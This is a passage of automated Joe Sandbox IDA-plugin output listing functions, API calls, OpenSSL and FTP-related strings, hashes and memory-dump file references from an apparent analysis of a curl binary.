Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 518590465614f2897dd637efbe1a5094ca0bd943e9c8704489da2e4419b135b2
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: F2B0927654020C77CE012E86EC02E493B199B54660F008060FB0C1C561E677E660A68A

Function 00A20DC6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 00A20DD1

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: e671d9341905c0008af5e936d7e81f0f493afc3d6edf003ca9a65b8f2e2ba177
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: 17B092B244120C77CF022E86EC03F693B1A9B50760F408020FB0C18562E677E6609689

Non-executed Functions

Function 00974BD0 Relevance: 78.0, APIs: 2, Strings: 42, Instructions: 989COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00974DBD
_memset.LIBCMT ref: 00974DDA

Strings

..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009756A6
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975676
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975300
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975487
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974F2C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975344
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009758D9
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975223
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975910
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974DA2
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975373
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975108
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975998
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097528D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974E4D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097500C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975422
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975658
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975518
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009758F2
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974F95
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974D8A
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097509B
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974E20
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009750D8
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974EB5
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097514E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975966
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009751ED
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097525E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097592E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009752D1
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097517E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097594C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009758C3
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974E84
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974FDB
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009754B7
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975841
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974EFB
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00975825
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00974F64

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove_memset
String ID: ..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c
API String ID: 3555123492-4105926626
Opcode ID: 235da314ab1785da107df26be29838d93f3d7914b1c70db3ee4ae9e7be0a16ea
Instruction ID: 8ad61e1144a1d2a34294e8bd847ce03340548584ec1aace2f268941d50304fd3
Opcode Fuzzy Hash: 235da314ab1785da107df26be29838d93f3d7914b1c70db3ee4ae9e7be0a16ea
Instruction Fuzzy Hash: 9A82E172A043109BD754DF24C892B2A77E5BF88704F198979F98D9B3C2E7A5DD00CB82

Function 00966800 Relevance: 75.7, APIs: 27, Strings: 16, Instructions: 439libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 009659D0: _memset.LIBCMT ref: 009659FE
Part of subcall function 009659D0: _memset.LIBCMT ref: 00965A23
Part of subcall function 009659D0: _swscanf.LIBCMT ref: 00965AC4
Part of subcall function 009659D0: _strncpy.LIBCMT ref: 00965AF8

Part of subcall function 00965050: WSAStartup.WS2_32(00000002,?), ref: 0096506E

LoadLibraryA.KERNEL32(WS2_32.DLL), ref: 00966873
GetLastError.KERNEL32 ref: 00966881
GetProcAddress.KERNEL32(00000000,WSACreateEvent), ref: 009668B7
GetLastError.KERNEL32 ref: 009668C1
FreeLibrary.KERNEL32(?), ref: 009668DD

Strings

failed to find WSAEventSelect function (%d), xrefs: 00966960
WSACreateEvent failed (%d), xrefs: 009669F3
WSAEnumNetworkEvents failed (%d), xrefs: 00966C17
WS2_32.DLL, xrefs: 0096686E
WSAEnumNetworkEvents, xrefs: 00966992
Time-out, xrefs: 00966D13
failed to find WSAEnumNetworkEvents function (%d), xrefs: 009669AC
failed to find WSACloseEvent function (%d), xrefs: 00966914
failed to find WSACreateEvent function (%d), xrefs: 009668C8
WSAEventSelect, xrefs: 00966946
FreeLibrary(wsock2) failed (%d), xrefs: 00966D62
failed to load WS2_32.DLL (%d), xrefs: 00966888
WSACreateEvent, xrefs: 009668B1
WSACloseEvent, xrefs: 009668FA
WSACloseEvent failed (%d), xrefs: 00966D3F
, xrefs: 00966CBC

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLastLibrary_memset$AddressFreeLoadProcStartup_strncpy_swscanf
String ID: $FreeLibrary(wsock2) failed (%d)$Time-out$WS2_32.DLL$WSACloseEvent$WSACloseEvent failed (%d)$WSACreateEvent$WSACreateEvent failed (%d)$WSAEnumNetworkEvents$WSAEnumNetworkEvents failed (%d)$WSAEventSelect$failed to find WSACloseEvent function (%d)$failed to find WSACreateEvent function (%d)$failed to find WSAEnumNetworkEvents function (%d)$failed to find WSAEventSelect function (%d)$failed to load WS2_32.DLL (%d)
API String ID: 3720984959-2939610961
Opcode ID: b990277ded4c6beab08897a71d1f13bf06ca86d754077ab20fce9fa9e6f77b6b
Instruction ID: a83cbf9ab2bd64f1d780173776309bf3553078b152c11bada2b9b6e52f92ba56
Opcode Fuzzy Hash: b990277ded4c6beab08897a71d1f13bf06ca86d754077ab20fce9fa9e6f77b6b
Instruction Fuzzy Hash: 94E1E171648301EBD710EF64EC46B6FBBE9EF84315F044928F989962A2D739CC45CB92

Function 00976250 Relevance: 62.2, APIs: 7, Strings: 28, Instructions: 908COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00976539
_memset.LIBCMT ref: 0097670F
_memmove.LIBCMT ref: 0097678C

Strings

..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976421
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976E89
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976C68
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976901
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976C8F
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097636C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976661
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097647E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976A49
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009766DB
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976D52
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976C1D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097667C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976507
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976BDC
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097688E
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009766A4
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976DB0
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976A09
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097659C
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 0097645D
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009763E4
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976732
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976B77
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 009768B7
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976867
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976629
..\..\openssl\openssl\ssl\s3_clnt.c, xrefs: 00976BB7

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset$_memmove
String ID: ..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c$..\..\openssl\openssl\ssl\s3_clnt.c
API String ID: 2532777613-2123905283
Opcode ID: 6546d8b635557881589663ff680b21958b1729a61f6ea808286ef190becd4587
Instruction ID: 126bdb9d43584a2d0a075c96477fc478624daaa700500909cf32ac163a8ab932
Opcode Fuzzy Hash: 6546d8b635557881589663ff680b21958b1729a61f6ea808286ef190becd4587
Instruction Fuzzy Hash: D562B072704701AFE714EF28CC92B6AB3A5BF84704F048568F64D9B392EB75E905C792

Function 0095C810 Relevance: 61.8, APIs: 19, Strings: 16, Instructions: 585networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0095C84D
_strncpy.LIBCMT ref: 0095C918
_strncpy.LIBCMT ref: 0095C97B
_strtoul.LIBCMT ref: 0095C9A8
_strtoul.LIBCMT ref: 0095C9CC
getsockname.WS2_32(?,?,?), ref: 0095CA39
WSAGetLastError.WS2_32 ref: 0095CA43
WSAGetLastError.WS2_32 ref: 0095CB3B
_memmove.LIBCMT ref: 0095CB7F
bind.WS2_32(?,?,?), ref: 0095CBBB
WSAGetLastError.WS2_32 ref: 0095CBC9
getsockname.WS2_32(?,?,00000080), ref: 0095CC15
WSAGetLastError.WS2_32 ref: 0095CC4C
closesocket.WS2_32(?), ref: 0095CC93
getsockname.WS2_32(?,?,?), ref: 0095CCEB
WSAGetLastError.WS2_32 ref: 0095CCF5
listen.WS2_32(?,00000001), ref: 0095CD27
WSAGetLastError.WS2_32 ref: 0095CD31

Part of subcall function 009323B0: GetLastError.KERNEL32(?,00000000,?,0093D974), ref: 009323B7
Part of subcall function 009323B0: _strncpy.LIBCMT ref: 009323E5
Part of subcall function 009323B0: _strrchr.LIBCMT ref: 00932438
Part of subcall function 009323B0: _strrchr.LIBCMT ref: 00932453
Part of subcall function 009323B0: GetLastError.KERNEL32(?,?,?,?,0093D974), ref: 0093246B
Part of subcall function 009323B0: SetLastError.KERNEL32(00000000,?,?,?,?,0093D974), ref: 00932476

Part of subcall function 0093E530: closesocket.WS2_32(?), ref: 0093E55C

htons.WS2_32(?), ref: 0095CDF9

Strings

getsockname() failed: %s, xrefs: 0095CC5C
socket failure: %s, xrefs: 0095CD41
PORT, xrefs: 0095CEA7
getsockname() failed: %s, xrefs: 0095CD05
Failure sending EPRT command: %s, xrefs: 0095CF45
EPRT, xrefs: 0095CF1A
%s |%d|%s|%hu|, xrefs: 0095CF25
%s %s, xrefs: 0095CEB2
bind() failed, we ran out of ports!, xrefs: 0095CF77
failed to resolve the address provided to PORT: %s, xrefs: 0095CF8E
getsockname() failed: %s, xrefs: 0095CA53
Failure sending PORT command: %s, xrefs: 0095CED6
bind(port=%hu) failed: %s, xrefs: 0095CCBA
socket failure: %s, xrefs: 0095CB5E
,%d,%d, xrefs: 0095CE8C
bind(port=%hu) on non-local address failed: %s, xrefs: 0095CBEF

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast$_strncpygetsockname$_strrchr_strtoulclosesocket$_memmove_memsetbindhtonslisten
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$getsockname() failed: %s$getsockname() failed: %s$socket failure: %s$socket failure: %s
API String ID: 594262209-1848652120
Opcode ID: 25cbef8c322916af3dbd2493ac88477f1078d706d69121c76b0e3b7e8b245dac
Instruction ID: ae96304a5c8939994eed3ca7dc77962ecb36f5f0ac5ae3d4a4b4a0eb6e15a5d9
Opcode Fuzzy Hash: 25cbef8c322916af3dbd2493ac88477f1078d706d69121c76b0e3b7e8b245dac
Instruction Fuzzy Hash: 9B12F3B06083459FC720EF259C45BBBBBE9AFC4705F04491DFC8A97282DB79D9098B52

Function 0099E0E0 Relevance: 39.4, APIs: 7, Strings: 15, Instructions: 878COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0099E25F
_memset.LIBCMT ref: 0099E2FF
_memmove.LIBCMT ref: 0099E313
_memset.LIBCMT ref: 0099E359

Part of subcall function 0098AD70: _raise.LIBCMT ref: 0098AD82

_memset.LIBCMT ref: 0099E672

Strings

..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E386
..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 0099EB99
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E711
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E607, 0099E627, 0099E64C
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 0099E551
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099EBE3
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099EB47
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0099E547
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E854
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099EBFD
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E6D0
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E98D
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E782, 0099E7A2, 0099E7C7
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099EAF5
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 0099E7E6

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
